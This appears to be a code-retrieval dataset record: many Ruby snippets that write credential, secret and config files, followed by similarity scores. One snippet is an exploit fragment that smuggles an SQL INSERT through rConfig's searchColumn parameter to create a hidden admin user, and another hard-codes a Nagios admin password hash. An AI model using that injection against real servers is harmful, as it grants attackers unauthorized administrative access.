r.content(new_resource.encrypted_data_bag_secret)\n r.sensitive(true)\n r.run_action(:create)\n end\n\n unless chef_client_valid(chef_server_url, new_resource.service_name, client_key_file)\n r = Chef::Resource::File.new(client_key_file, run_context)\n r.sensitive(true)\n r.run_action(:delete)\n end\n\n unless ::File.exists?(client_key_file) or new_resource.validation_key.nil?\n r = Chef::Resource::File.new(::File.join(new_resource.chef_secure_path, 'validation.pem'), run_context)\n r.content(new_resource.validation_key)\n r.sensitive(true)\n r.run_action(:create)\n end\n\n unless new_resource.data_bags.empty?\n write_data_bags(new_resource.data_bags(new_resource.chef_secure_path, 'data_bags'))\n end\n end", "def create_safe\n if !File.file? @pwfile\n puts \"No password safe detected, creating one at #@pwfile\"\n FileUtils.touch @pwfile\n write_safe\n end\n end", "def env_vars\n { \"OS_CLIENT_CONFIG_FILE\" => os_credentials_file }\n end", "def aws_cred_file_location\n @cred_file ||= begin\n if !config[:aws_credential_file].nil?\n config[:aws_credential_file]\n else\n Chef::Util::PathHelper.home(\".aws\", \"credentials\") if ::File.exist?(Chef::Util::PathHelper.home(\".aws\", \"credentials\"))\n end\n end\n end", "def credentials\n @credentials ||= {}\n end", "def create_config\n FileUtils.touch(config_file)\n \n @settings = {\n 'username' => 'username@loopiaapi',\n 'password' => 'password',\n 'remote' => 'https://api.loopia.se/RPCSERV',\n 'default_domain' => 'example.com',\n 'verbose' => 'true' \n }\n\n File.open(config_file, 'w' ) { |f| YAML.dump(@settings, f) }\n end", "def user_data(instance)\n hostname = instance[\"hostname\"]\n # write specific per instance cloud-init config and script files out of erb templates.\n %w(config script).each do |ud|\n e = ERB.new(File.read(File.join('templates', ud + \".erb\")))\n outfile = File.join(@dataDir, hostname + \"-\" + ud)\n File.open(outfile, 'w') {|f| f.write e.result(binding)}\n end\n\n # files = Hash[*%w{mimeOut script config}.collect {|n| [n, File.join(@dataDir, hostname + \"-\" + n]}.flatten]\n # files = %w{mimeOut script config}.inject({}) { |f,n| f[n] = File.join(@dataDir, hostname + \"-\" + n); f}\n mimeOut = File.join(@dataDir, hostname + \"-ud\")\n script = File.join(@dataDir, hostname + \"-script\")\n config = File.join(@dataDir, hostname + \"-config\")\n system(\"./write-mime-multipart --output=#{mimeOut} #{script}:text/x-shellscript #{config}\")\n @logger.info(\"Generated multipart for #{hostname}\")\n return File.read(mimeOut)\nend", "def generate connection_strings_file\r\n File.open(connection_strings_file, 'r') do |file|\r\n users = {}\r\n db_users = {}\r\n while (line = file.gets)\r\n line.chomp\r\n pattern = 'initial catalog\\s*=\\s*([^;]+);.*?' +\r\n 'uid\\s*=\\s*([^;]+);.*?' +\r\n 'pwd\\s*=\\s*([^\";]+)'\r\n match = (/#{pattern}/i).match line\r\n if not match\r\n pattern = 'database\\s*=\\s*([^;]+);.*?' +\r\n 'uid\\s*=\\s*([^;]+);.*?' +\r\n 'pwd\\s*=\\s*([^\";]+)'\r\n match = (/#{pattern}/i).match line\r\n if not match\r\n pattern = 'initial catalog\\s*=\\s*([^;]+);.*?' +\r\n 'user id\\s*=\\s*([^;]+);.*?' +\r\n 'password\\s*=\\s*([^\";]+)'\r\n match = (/#{pattern}/i).match line\r\n if not match\r\n pattern = 'database\\s*=\\s*([^;]+);.*?' +\r\n 'user id\\s*=\\s*([^;]+);.*?' +\r\n 'password\\s*=\\s*([^\";]+)'\r\n match = (/#{pattern}/i).match line\r\n end\r\n end\r\n end\r\n if match\r\n db = match[1]\r\n uid = match[2]\r\n pwd = match[3]\r\n users[uid] = {:pwd => pwd, :dbs=>[]} unless users[uid]\r\n users[uid][:dbs] << db unless users[uid][:dbs].any? {|d| d == db}\r\n db_users[db] = [] unless db_users[db]\r\n db_users[db] << uid unless db_users[db].any? {|u| u == uid}\r\n end\r\n end\r\n puts \"USE [master]\"\r\n users.each do |user, data|\r\n puts \"CREATE LOGIN #{user} WITH PASSWORD='#{data[:pwd]}', CHECK_POLICY=OFF\"\r\n end\r\n puts\r\n db_users.each do |db, users|\r\n puts \"USE [#{db}]\" \r\n users.each do |user|\r\n puts \"EXEC sp_change_users_login 'Auto_Fix', '#{user}'\"\r\n end\r\n puts\r\n end\r\n end\r\nend", "def create_user(user)\n user.downcase!\n hash = Hash.new\n hash[:name] = \"#{user}\"\n hash[:balance] = 0\n puts \"Please create a password: \"\n hash[:password] = gets.chomp\n write_to_file(\"userdata/#{user}.txt\",hash)\n write_to_file(\"userdata/#{user}_history.txt\", nil)\nend", "def add\n Tempfile.open do |tmpfile|\n tmpfile.puts render(Templates::User::ERB)\n tmpfile.flush\n system(\"qconf -Auser #{tmpfile.path}\")\n sleep 5\n end\n end", "def createNagiosPasswd\n `touch /usr/local/nagios/etc/htpasswd.users`\n `echo nagiosadmin:uPODiTjNs5eaY >> /usr/local/nagios/etc/htpasswd.users` \n end", "def setup_workspace\n\n if ! File.exist?( @app_data )\n\n @logger.trace \"Creating configuration in \" + @app_data\n Dir.mkdir( @app_data )\n f = File.open( Config.formulate_config_file_name( @app_data ), \"w\" )\n f.puts @@yaml_config\n f.close\n\n @whois_cache_dir = File.join( @app_data, \"whois_cache\" )\n Dir.mkdir( @whois_cache_dir )\n\n @tickets_dir = File.join( @app_data, \"tickets\" )\n Dir.mkdir( @tickets_dir )\n\n else\n\n @logger.trace \"Using configuration found in \" + @app_data\n @whois_cache_dir = File.join( @app_data, \"whois_cache\" )\n @tickets_dir = File.join( @app_data, \"tickets\" )\n\n end\n\n end", "def read_user_creds\n return [] unless File.exist?(\"names.txt\")\n #clean_file = File.read(\"names.txt\").split(\"\\n\")\n clean_file.uniq\n end", "def user_credentials\n {\n :VERSION => ENV['PP_VERSION'],\n :USER => ENV['PP_USER'],\n :PWD => ENV['PP_PWD'],\n :SIGNATURE => ENV['PP_SIGNATURE']\n }\n end", "def app_credentials\n {user: @config['mysql_app_user'], pass: @config['mysql_app_password']}\n end", "def file_path\n @credentials_file\n end", "def write_conman_file(site_uid, site_refapi, site_config, site_credentials)\n output = ERB.new(File.read(\"templates/conman.erb\")).result(binding)\n\n output_file = Pathname(\"#{$output_dir}/modules/conmang5k/files/#{site_uid}/conman.conf\")\n output_file.dirname.mkpath()\n File.write(output_file, output)\nend", "def add_user(args = {})\r\n clean_args(args)\r\n success = true\r\n\r\n # Opening in read/write so that we can make the changes to the file\r\n # while under protection of the system r/w lock.\r\n File.open(args[:file] || PASSWORDS_FILE, \"a+\") do |file|\r\n success = write_to_file(file, args[:username], args[:password],\r\n args[:environment], args[:override])\r\n end\r\n\r\n return success\r\n end", "def create\n pw = \"aspace-oauth-#{auth_hash[:provider]}-#{SecureRandom.uuid}\"\n pw_path = File.join(Dir.tmpdir, pw)\n backend_session = nil\n\n uid = auth_hash.uid\n email = AspaceOauth.get_email(auth_hash)\n username = AspaceOauth.use_uid? ? uid : email\n puts \"Received callback for: [uid: #{uid}], [email: #{email}]\"\n if username && email\n username = username.split('@')[0] # usernames cannot be email addresses\n auth_hash[:info][:username] = username # set username, checked in backend\n auth_hash[:info][:email] = email # ensure email is set in info\n File.open(pw_path, 'w') { |f| f.write(JSON.generate(auth_hash)) }\n backend_session = User.login(username, pw)\n end\n\n if backend_session\n User.establish_session(self, backend_session, username)\n load_repository_list\n else\n flash[:error] = 'Authentication error, unable to login.'\n end\n\n File.delete pw_path if File.exist? pw_path\n redirect_to controller: :welcome, action: :index\n end", "def two_step_verification_secret_file_name\n \"tmp/user_#{number}_two_step_verification_secret\"\n end", "def generate_solo_config\n @ssh.write \"/tmp/solo.rb\", sudo: true do |file|\n file << \"require '#{APPD_COOKBOOK_PATH}/libraries/appd-chef-formatter.rb'\"\n file << \"cookbook_path #{@cookbook_path}\"\n end\n end", "def bootstrap_chef_script role, settings\n erubis_template(\n File.dirname(__FILE__)+\"/../config/user_data_script-#{role}.sh.erb\",\n :public_ip => settings[:elastic_ip],\n :hostname => settings[:user_data][:attributes][:node_name],\n :chef_server_fqdn => settings[:user_data][:chef_server].gsub(%r{http://(.*):\\d+},'\\1'),\n :ubuntu_version => 'lucid',\n :bootstrap_scripts_url_base => settings[:bootstrap_scripts_url_base],\n :chef_config => settings[:user_data]\n )\nend", "def chef_credentials\n creds = Hash.new\n File.open(ENV['HOME'] + '/.chef/knife.rb').each do |line|\n creds['c_uri'] = line.scan(/'([^']*)'/).join(' ') if line.match('chef_server_url')\n creds['c_key'] = line.scan(/'([^']*)'/).join(' ') if line.match('client_key')\n creds['c_node'] = line.scan(/'([^']*)'/).join(' ') if line.match('node_name')\n end\n return creds\nrescue => e\n puts '(chef=>tenant_prov): Unable to access Chef credentials. Check the knife.rb file for the user environment.'\n puts \"(chef=>tenant_prov): Error: #{e}\"\n exit\nend", "def create_user\n command = compile_command(\"useradd\") do |useradd|\n useradd << universal_options\n useradd << useradd_options\n end\n\n run_command(:command => command)\n\n # SmartOS locks new users by default until password is set\n # unlock the account by default because password is set by chef\n if check_lock\n unlock_user\n end\n end", "def store_oauth_data\n not_modified = [:access_token, :refresh_token, :expires_in, :issued_at].map do |key|\n oauth_data[key] == (oauth_data[key] = client.authorization.send(key))\n end.all?\n File.open(oauth_data_file,'w') { |f| f.puts oauth_data.to_yaml } unless not_modified\n end", "def get_creds \n yml = YAML::load(File.open(ENV['TM_PROJECT_DIRECTORY'] + \"/config/settings.yaml\"))\n project_name = yml['project_name']\n username = yml['username']\n environment = yml['environment']\n password = KeyChain::find_internet_password(\"#{project_name}-mm\")\n endpoint = environment == \"sandbox\" ? \"https://test.salesforce.com/services/Soap/u/#{MM_API_VERSION}\" : \"https://www.salesforce.com/services/Soap/u/#{MM_API_VERSION}\"\n return { :username => username, :password => password, :endpoint => endpoint }\n end", "def credentials_show\n %x(cat ros/services/iam/tmp/#{Settings.platform.environment.partition_name}/postman/222_222_222-Admin_2.json)\n end", "def credentials(app_name=nil)\n #bound_app is the name of an app bound to the dat-service and that credentials\n #should be used to access the data-service.\n #for example if an app creates large objects you will need to use\n #the credentials of that app to find the objects.\n app_name ||= @wrapped['director']['bound_app'] if @wrapped['director']\n @credentials ||= VMC::KNIFE.get_credentials(name(), app_name)\n @credentials\n end", "def config(options = {})\n if options[:file]\n filename = options[:filename] || File.join(Dir.home, \".bos\")\n config_hash = JSON.parse(IO.read(filename), symbolize_names: true)\n @user_id = config_hash[:user_id]\n @password = config_hash[:password]\n @security_code = config_hash[:security_code]\n else\n @user_id = options[:user_id]\n @password = options[:password]\n @security_code = options[:security_code]\n File.open(File.join(Dir.home, \".bos\"), \"w\") do |f|\n f.write options.to_json\n end\n end\n end", "def install_conf_files\n generate(\"bindery:solr_conf\", \"#{File.join(save_location, 'solr')} --force\")\n end", "def generate_user_data(userdata_dir, bootstrap_script, config)\n\n ERB.new(\n File.new(File.join(userdata_dir, bootstrap_script)).read, nil, '-'\n ).result(binding)\n end", "def setup_files\n\tpath = File.join(File.dirname(__FILE__), '../data/products.json')\n\tfile = File.read(path)\n\t$products_hash = JSON.parse(file)\n\t$report_file = File.new(\"report.txt\", \"w+\")\nend", "def configuration_setup\n dirname = File.expand_path(USER_DIR)\n if !File.exists?(dirname)\n Dir.mkdir(dirname) \n create_storage_dir\n create_staging_dir\n create_user_conf_file\n create_user_email_conf_file\n else \n create_user_conf_file if !File.exists?(USER_CONF_FILE)\n create_storage_dir if !File.exists?(File.expand_path(STORAGE_DIR))\n create_staging_dir if !File.exists?(File.expand_path(STAGING_DIR))\n create_user_email_conf_file if !File.exists?(EMAIL_CONF_FILE)\n end\n end", "def create_temp_file\n write_to_temp_file current_data\n end", "def setup_files\n path = File.join(File.dirname(__FILE__), '../data/products.json')\n file = File.read(path)\n $products_hash = JSON.parse(file)\n $report_file = File.new(\"../report.txt\", \"w+\")\n\tend", "def get_account \n @user = {}\n @user[@username] = @password\n data = []\n data << File.write('test_2.json', JSON.dump(@user))\n end", "def save_app_data(name, meths_hash, prog_log, file_hashes)\n Dir.chdir(DATA_DIR)\n if !File.directory? name\n Dir.mkdir name\n Dir.chdir(name)\n YARD::Registry.save\n File.open(name + \"-\" + TYPE_DATA_JSON_FILE,\"w\") do |f|\n f.write(JSON.pretty_generate(meths_hash))\n end\n File.open(name + \"-\" + FILE_MD5_HASHES, \"w\") do |f|\n f.write(JSON.pretty_generate(file_hashes))\n end\n CSV.open(LOG_FILE, \"wb\") { |csv|\n csv << LOG_HEADER\n csv << prog_log\n } \n Dir.chdir(\"../..\")\n else\n Dir.chdir(\"..\")\n end\nend", "def config_jira_application_properties()\n jira_props = File.readlines(self.jira_application_properties()).map do |line|\n if m = /(#{Regexp.quote(jira_home_token)})/.match(line)\n self.debug(m[0])\n new_str = \"#{self.jira_home_token()} #{self.data_dir()}\"\n self.debug(new_str)\n new_str\n else\n line\n end\n end\n \n File.open(self.jira_application_properties(), \"w\") do |io|\n jira_props.each { |line| io.puts(line) }\n end\n end", "def store_secret_envs\n sudo_password = ENV['sudo_password']\n # If the sudo_password is set, store it in the secrets hash\n if sudo_password\n # Set a new secret\n secrets.set('sudo_password', sudo_password)\n # Save the updated secrets store to disk\n secrets.save(File.expand_path(AutomateCluster::Config.secrets_store_file))\n end\n end", "def store_secret_envs\n sudo_password = ENV['sudo_password']\n # If the sudo_password is set, store it in the secrets hash\n if sudo_password\n # Set a new secret\n secrets.set('sudo_password', sudo_password)\n # Save the updated secrets store to disk\n secrets.save(File.expand_path(AutomateCluster::Config.secrets_store_file))\n end\n end", "def store_secret_envs\n sudo_password = ENV['sudo_password']\n # If the sudo_password is set, store it in the secrets hash\n if sudo_password\n # Set a new secret\n secrets.set('sudo_password', sudo_password)\n # Save the updated secrets store to disk\n secrets.save(File.expand_path(AutomateCluster::Config.secrets_store_file))\n end\n end", "def store_secret_envs\n sudo_password = ENV['sudo_password']\n # If the sudo_password is set, store it in the secrets hash\n if sudo_password\n # Set a new secret\n secrets.set('sudo_password', sudo_password)\n # Save the updated secrets store to disk\n secrets.save(File.expand_path(AutomateCluster::Config.secrets_store_file))\n end\n end", "def persistUserContentToFile(dataDir)\n threadForEachUser do |account|\n #account.contentMap.keys.each do |tag|\n #userFile = @dataDir+\"other/#{account.user}.yml\"\n # if tag.match(/programming/)\n # userFile = @dataDir+\"programming/#{account.user}.yml\"\n # elsif tag.match(/travel/)\n # userFile = @dataDir+\"travel/#{account.user}.yml\"\n # end\n userFile = dataDir+\"/#{account.user}.yml\"\n # Remove user file if already present.\n File.delete(userFile) if File.exists?(userFile)\n File.open(userFile,\"a\") do |outputFile|\n puts \"Persisting content for '#{account.user}'\"\n #outputFile.puts account.contentMap[tag].to_yaml \n outputFile.puts account.contentArr.to_yaml\n end\n #end\n end\n end", "def create_metadata\n File.open(File.join(@env[\"export.temp_dir\"], \"metadata.json\"), \"w\") do |f|\n f.write(JSON.generate({\n provider: \"hyperv\"\n }))\n end\n end", "def web_users\n get_chef_files_absolute_paths web_users_path\n end", "def autosign_store(file)\n auth = Puppet::Network::AuthStore.new\n File.readlines(file).each do |line|\n next if line =~ /^\\s*#/\n next if line =~ /^\\s*$/\n auth.allow(line.chomp)\n end\n\n auth\n end", "def initialize(username, password, file)\n @username = username\n @password = password\n @file = file\n end", "def write_password_file!\n unless password.nil?\n @password_file = Tempfile.new('backup-rsync-password')\n @password_file.write(password)\n @password_file.close\n end\n end", "def passwords_file\n dir['passwords']\n end", "def root_dir\n 'gen_passwd'\n end", "def guardfile_contents\n config = File.read(_user_config_path) if File.exist?(_user_config_path)\n [_guardfile_contents_without_user_config, config].compact.join(\"\\n\")\n end", "def set_password_legacy\n guid = @user['generateduid'][0].to_ruby\n password_hash_file = \"#{@@password_hash_dir}/#{guid}\"\n begin\n File.open(password_hash_file, 'w') { |f| f.write(resource[:password_sha1])}\n rescue Errno::EACCES => detail\n raise(\"Could not write to password hash file: #{detail}\")\n end\n end", "def use_demo_credentials!\n self.username = 'demo'\n self.password = 'password'\n end", "def create_config_file\n f = File.open(\"#{repo_dir}/.ram_config\", \"w+\")\n f.write \"url: #{@url}\"\n f.close\n end", "def save_authorized_users(users)\n if OPTIONS[\"users\"].sort != users.sort\n Logger.log \"updating authorized users list\"\n OPTIONS[\"users\"] = users\n begin\n File.open(FILES[:secrets], \"w+\") { |f| f.write(OPTIONS.to_yaml) }\n rescue Exception => e\n retry if fix_dir?\n Logger.log \"unable to save authorized users.\"\n Logger.log e\n end\n end\n end", "def create_rconfig_user(user, _password)\r\n vprint_status 'STEP 1 : Adding a temporary admin user...'\r\n fake_id = Rex::Text.rand_text_numeric(3)\r\n fake_pass = Rex::Text.rand_text_alpha(10)\r\n fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'\r\n fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'\r\n userleveladmin = 9 # Administrator\r\n user_sqli = \"command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--\"\r\n sqli_res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),\r\n 'method' => 'GET',\r\n 'vars_get' => {\r\n 'search' => 'search',\r\n 'searchOption' => 'contains',\r\n 'searchField' => 'vuln',\r\n 'searchColumn' => user_sqli\r\n }\r\n )\r\n unless sqli_res\r\n print_warning('Failed to create user: Connection failed.')\r\n return\r\n end\r\n print_good \"New temporary user #{user} created\"\r\n end", "def add_user env, username, pwd\n config[env] = {} unless env_exists? env\n abort \"The #{username} already exists!\".yellow if user_exists? env, username\n config[env][username] = { 'access_token' => '', 'password' => encrypt_password(username, pwd) }\n write_config\n end", "def google_creds_filepath\n unless File.exist?(GOOGLE_DRIVE_CREDS_FILEPATH)\n File.open(GOOGLE_DRIVE_CREDS_FILEPATH, 'wb') do |f|\n f << GOOGLE_DRIVE_CREDS.to_json\n end\n end\n GOOGLE_DRIVE_CREDS_FILEPATH\n end", "def store(key_store_file, password)\n\n end", "def save_settings\n open(@@FN_CREDENTIALS, \"wb\") { |fd| fd.write(YAML::dump(@credentials)) }\n open(@@FN_CONFIG, \"wb\") { |fd| fd.write(YAML::dump(@configuration)) }\n open(@@FN_SETTINGS, \"wb\") { |fd| fd.write(YAML::dump(@settings)) }\n end", "def credentials\n @credentials ||= Rugged::Credentials::UserPassword.new({\n :username => \"x-oauth-basic\",\n :password => ENV[\"GITHUB_TOKEN\"]\n })\n end", "def set_file_credentials(sht, skip, read)\n puts \"[Info]: Validation & setting file credentials are on progress...\"\n @sht = Roo::Excelx.new(@filename).sheet(sht)\n @lrow = @sht.last_row\n @lcol = @sht.last_column\n @skiprows = skip\n @headers = @sht.row(@skiprows+1)\n @readrows = read ? read+@skiprows : @lrow\n end", "def install\n AdminModule.configuration.credentials.keys.each do |e|\n valid_actions.each do |action|\n AdminModule::Rake::SnapshotTasks.new(\"am:#{e}:snapshot:#{action}\", \"#{action} #{e} snapshot defn(s)\") do |t|\n t.env = e\n t.action = action\n end\n end\n end\n end", "def secret_file\n config[:secret_file] ||\n Chef::Config[:knife][:secure_data_bag][:secret_file]\n end", "def define_user\n case new_resource.im_install_mode\n when 'admin'\n user = if new_resource.user.nil?\n 'root'\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n when 'nonAdmin', 'group'\n user = if new_resource.user.nil?\n Chef::Log.fatal \"User Name not provided! Please provide the user that should be used to install your product\"\n raise \"User Name not provided! Please provide the user that should be used to install your product\"\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n end\nend", "def define_user\n case new_resource.im_install_mode\n when 'admin'\n user = if new_resource.user.nil?\n 'root'\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n when 'nonAdmin', 'group'\n user = if new_resource.user.nil?\n Chef::Log.fatal \"User Name not provided! Please provide the user that should be used to install your product\"\n raise \"User Name not provided! Please provide the user that should be used to install your product\"\n else\n unless im_user_exists_unix?(new_resource.user)\n Chef::Log.fatal \"User Name provided #{new_resource.user}, does not exist\"\n raise \"User Verification 1: User Name provided #{new_resource.user}, does not exist\"\n end\n new_resource.user\n end\n user\n end\nend", "def create\n tmpl = ERB.new(load_erb_file('metadata.erb'))\n @cookbook = @opts[:cookbook]\n @maintainer = @opts[:souschef][:maintainer]\n @maintainer_email = @opts[:souschef][:maintainer_email]\n @license = @opts[:souschef][:license]\n data = tmpl.result(binding)\n\n info 'Updating metadata.rb'\n write_file(cookbook_file_path('metadata.rb'), data)\n end", "def setup\n make_config\n make_users_file\n end", "def save\r\n SystemConfig.set :auth, to_h, true\r\n end", "def output_cc_user_data(options,user_data,exec_data,output_file)\n if !options['vm'].to_s.match(/mp|multipass/)\n in_target = \"curtin in-target --target=/target -- \"\n else\n in_target = \"\"\n end\n check_dir = File.dirname(output_file)\n check_dir_exists(options,check_dir)\n tmp_file = \"/tmp/user_data_\"+options['name']\n file = File.open(tmp_file, 'w')\n end_char = \"\\n\"\n user_data.each do |line|\n output = line+end_char\n file.write(output)\n end\n pkg_list = options['q_struct']['additional_packages'].value\n if options['vm'].to_s.match(/mp|multipass/)\n file.write(\"packages:\\n\")\n pkg_list.split(\" \").each do |line|\n output = \" - \"+line+\"\\n\"\n file.write(output)\n end\n file.write(\"runcmd:\\n\")\n exec_data.each do |line|\n output = \" - \"+line+\"\\n\"\n file.write(output)\n end\n else\n end_char = \"\"\n file.write(\" late-commands:\\n\")\n file.write(\" [\")\n exec_data.each do |line|\n output = \" \\\"\"+line+\"\\\",\"+end_char\n file.write(output)\n end\n file.write(\" \\\"#{in_target}apt update\\\",\")\n output = \" \\\"#{in_target}apt install -y \"+pkg_list+\"\\\",\"+end_char\n file.write(output)\n file.write(\" \\\"date\\\" ]\\n\\n\")\n end\n file.close\n message = \"Creating:\\tCloud user-data file \"+output_file\n command = \"cat #{tmp_file} >> #{output_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",output_file)\n return\nend" ]
[ "0.59987783", "0.59636617", "0.59626657", "0.58443135", "0.5808454", "0.57968056", "0.57357675", "0.5729722", "0.5712049", "0.56705517", "0.56601936", "0.5577583", "0.54877657", "0.54229605", "0.5419651", "0.5411637", "0.5411637", "0.5381947", "0.5372297", "0.5370964", "0.5370964", "0.5370964", "0.5370964", "0.5370964", "0.5348421", "0.5339993", "0.5319866", "0.53051496", "0.52887493", "0.5270723", "0.52582455", "0.52560765", "0.52513486", "0.5245715", "0.5238071", "0.5237545", "0.5233828", "0.52335477", "0.52225035", "0.5221861", "0.5216003", "0.52089554", "0.51934224", "0.51875305", "0.51607305", "0.51569825", "0.51528275", "0.51422006", "0.51361006", "0.51312196", "0.5127448", "0.5116881", "0.5116292", "0.5113693", "0.5113085", "0.5109966", "0.51066476", "0.51059544", "0.5103137", "0.5102335", "0.51016164", "0.5082013", "0.5069176", "0.5059874", "0.5054562", "0.5052945", "0.5045779", "0.5040177", "0.50389993", "0.50389993", "0.50389993", "0.50389993", "0.5030761", "0.5030327", "0.50285935", "0.50154936", "0.50092757", "0.49929273", "0.49917486", "0.49898955", "0.49810362", "0.4978781", "0.4977628", "0.49705714", "0.4967955", "0.49676505", "0.49652898", "0.49625868", "0.49617615", "0.49559888", "0.49548525", "0.49488556", "0.49427053", "0.49425864", "0.4942362", "0.4942362", "0.4937864", "0.49340433", "0.49306902", "0.4928309" ]
0.71091247
0
This method uploads the security.json file content to the zookeeper. It just uploads the default template file with no users, roles, permissions added to it
def upload_security_json_with_no_credentials() payload = { "authentication" => { "class" => "solr.BasicAuthPlugin" }, "authorization" => { "class" => "solr.RuleBasedAuthorizationPlugin" } } cmd = "#{@solr_install_dir}/server/scripts/cloud-scripts/zkcli.sh -zkhost #{@zk_host} -cmd put /security.json \'#{payload.to_json}\' 2>&1" puts "Uploading the basic template security.json file using cmd #{cmd}" result = `#{cmd}` if $? != 0 puts "***FAULT:FATAL=#{result}" e = Exception.new("no backtrace") e.set_backtrace("") raise e end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_secrete_file()\n\n payload = {\n \"admin_user\" => {\n \"username\" => @solr_admin_user,\n \"password\" => @solr_admin_password,\n },\n #TODO should the key be \"app_user\"\n @solr_app_user => {\n \"username\" => @solr_app_user,\n \"password\" => @solr_password\n }\n }\n\n # open and write to a file with ruby\n\n FileUtils.mkdir_p(@@secrete_dir, :mode => 0700)\n FileUtils.chown('app', 'app', @@secrete_dir)\n\n file_name = \"#{@@secrete_dir}/#{@@secrete_file_name}\"\n\n puts \"Creating the Solr secrete file: #{file_name}\"\n\n open(\"#{file_name}\", 'w') { |f|\n f.puts(payload.to_json)\n }\n\n FileUtils.chown('app', 'app', \"#{file_name}\")\n\n end", "def upload()\n obj = @mgr.s3res.bucket(@mgr[\"Bucket\"]).object(@s3key)\n @mgr.log(:info,\"Uploading cloudformation stack template #{@stackdef}:#{@filename} to s3://#{@mgr[\"Bucket\"]}/#{@s3key}\")\n template = @mgr.load_template(\"s3\", \"cfnput\")\n @mgr.symbol_keys(template)\n @mgr.resolve_vars(template, :api_template)\n params = template[:api_template]\n params[:body] = @raw\n obj.put(params)\n end", "def creator_upload(username, file_name, file)\r\n dir = \"creators/#{username}\"\r\n file.original_filename = file_name + (File.extname file.original_filename)\r\n return write(dir, file)\r\n end", "def manage_file(file_name, contents, path)\n if contents.class == Hash && contents.empty? == false\n file = Chef::Resource::Template.new(\"#{path}/#{file_name}\", run_context)\n file.cookbook('cerner_splunk')\n file.source('generic.conf.erb')\n file.variables(stanzas: contents)\n else\n file = Chef::Resource::File.new(\"#{path}/#{file_name}\", run_context)\n file.content(contents)\n end\n file.path(\"#{path}/#{file_name}\")\n file.owner(node[:splunk][:user])\n file.group(node[:splunk][:group])\n file.mode('0600')\n if contents.empty?\n file.run_action(:delete)\n else\n file.run_action(:create)\n end\n new_resource.updated_by_last_action(file.updated_by_last_action?)\n end", "def create_secret_file(filename:, content:, **args)\n\t\t\t\t\tbody = \"--#{BOUNDARY}\\r\\n\"\\\n\t\t\t\t\t\t\"Content-Disposition: form-data; name=\\\"file0\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\\\n\t\t\t\t\t\t\"Content-Type: application/octet-stream\\r\\n\\r\\n\"\\\n\t\t\t\t\t\t\"#{content}\\r\\n\"\\\n\t\t\t\t\t\t\"--#{BOUNDARY}\\r\\n\"\\\n\t\t\t\t\t\t\"Content-Disposition: form-data; name=\\\"json\\\"\\r\\n\\r\\n\"\\\n\t\t\t\t\t\t\"#{{\n\t\t\t\t\t\t\t'' => '2',\n\t\t\t\t\t\t\tcredentials: args.merge(\n\t\t\t\t\t\t\t\t'$class' => 'org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl',\n\t\t\t\t\t\t\t\t'file' => 'file0'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}.to_json}\"\\\n\t\t\t\t\t\t\"\\r\\n\\r\\n--#{BOUNDARY}--\\r\\n\"\n\t\t\t\t\tcreate_(body, \"multipart/form-data, boundary=#{BOUNDARY}\")\n\t\t\t\tend", "def save_file(data, fspec = @config_json_spec)\n does_fileexist = File.exists?(fspec)\n File.open(fspec, \"w\") do |file|\n Puppet.debug \"saving file #{fspec}\"\n file.puts JSON.pretty_generate(data)\n # we want to set the initial permissions only if we're creating the file\n file.chmod(0664) unless does_fileexist\n end\n FileUtils.chown @config_json_owner, @config_json_group, fspec unless does_fileexist\n end", "def create\n AttackFile.write(attack_files_params[:filename], attack_files_params[:body])\n\n render status: 201\n end", "def store\n File.open(@config_file, 'w') do |f|\n f.chmod(0600)\n f.write(@config.to_json)\n end\n end", "def execute\n Services::Slog.debug({:message => \"File write for #{@template[:identifier]}\", :module => \"FileTemplate\", :task => \"execute\", :extra => {:template => @template[:identifier], :payload => @template[:payload]}})\n case @template[:payload][:method]\n when 'create'\n begin\n\n @template.users.each do |user|\n File.open(\"data/users/#{user.id}/#{@template[:payload][:uri]}\", \"w+\") { |file| file.write(\"\\n\") }\n response = { :status => \"200\", :message => \"File created.\", :id => @template[:payload][:uri]}\n\n unless @template[:payload][:content].nil? then\n File.open(\"data/users/#{user.id}/#{@template[:payload][:uri]}\", \"w+\") { |file| file.write(@template[:payload][:content]) }\n end\n end\n rescue Exception => e\n Services::Slog.exception e\n response = { :status => \"400\", :message => \"Method not is unsupported, #{e}\" }\n end\n when 'append'\n begin\n @template.users.each do |user|\n unless @template[:payload][:content].nil? then\n File.open(Dir.pwd + \"/data/users/#{user.id}/#{@template[:payload][:uri]}\", \"a+\") { |file| file.write(@template[:payload][:content]) }\n end\n end\n response = { :status => \"200\", :message => \"Content appended to file\", :id => @template[:payload][:uri]}\n rescue Exception => e\n response = { :status => \"403\", :message => \"Error processing file, #{e}\" }\n Services::Slog.exception e\n end\n end\n\n response\n end", "def save_json_assessment(params)\n unless params[:fileassessment] && (tmpfileAssessment = params[:fileassessment][:tempfile]) && (nameAssessment = params[:fileassessment][:filename])\n return haml(:upload)\n end\n #while blk = tmpfileAssessment.read(65536)\n File.open(File.join(Dir.pwd, \"uploads\", nameAssessment), \"wb\") { |f| f.write(tmpfileAssessment.read) }\n #end\n File.join(Dir.pwd, \"uploads\", nameAssessment)\n end", "def upload_templates(templates, bucket)\n templates.each do |path|\n puts 